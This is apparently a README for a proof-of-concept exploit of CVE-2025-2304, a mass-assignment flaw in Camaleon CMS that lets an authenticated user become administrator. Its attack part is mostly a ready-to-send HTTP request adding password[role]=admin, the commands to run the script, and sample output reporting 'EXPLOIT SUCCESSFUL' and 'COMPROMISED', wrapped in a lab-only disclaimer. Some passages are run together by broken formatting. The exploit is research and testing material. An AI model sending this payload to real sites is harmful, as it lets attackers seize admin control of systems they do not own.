
CVE-2025-2304 es una vulnerabilidad de Asignación Masiva (Mass Assignment) en Camaleon CMS (versiones < 2.9.1) que permite a un usuario autenticado elevar sus privilegios a administrador manipulando el parámetro role en las solicitudes de cambio de contraseña.
Camaleon CMS usa Ruby on Rails y en la versión 2.9.0 tiene una vulnerabilidad de Asignación Masiva en el controlador UsersController#updated_ajax. El controlador usa .permit! sin restricciones, permitiendo que cualquier parámetro enviado en la solicitud sea asignado directamente al modelo de usuario.
POST /admin/users/{user_id}/updated_ajaxpassword[role] enviado dentro del espacio de nombres passwordparams.require(:password) y luego aplica .permit!, que no filtra ningún parámetro"admin" en el campo role del usuarioPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
El parámetro password[role] es procesado por User.update(permitted_params) y se asigna directamente al registro del usuario debido a .permit!, elevando los privilegios de user a admin.
# Python 3.6+
python3 --version
# Required libraries
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
El script preguntará de forma interactiva:
http(s)://domain:port_cms_session (obtenido después del inicio de sesión)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
Cuando encontré esta vulnerabilidad, mi primer instinto fue probarla manualmente con Burp Suite — y funcionó. Pero quería ir un paso más allá y convertir ese proceso manual en algo repetible y portable, así que escribí este script. Más allá de explotar el fallo, construirlo me dio la oportunidad de trabajar en algunas cosas que me resultan genuinamente interesantes:
No intento reemplazar a Burp o Caido. Esas herramientas son irremplazables para pruebas interactivas. Esto es solo lo que pasa cuando prefiero escribir un script a repetirme.
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
El código está estructurado modularmente para facilitar:
.permit!Son bienvenidas las contribuciones que:
Recuerda: Este proyecto tiene un propósito exclusivamente educativo y de investigación autorizada.
Última actualización: abril de 2025 | Por Analista de Seguridad (Entorno de Laboratorio)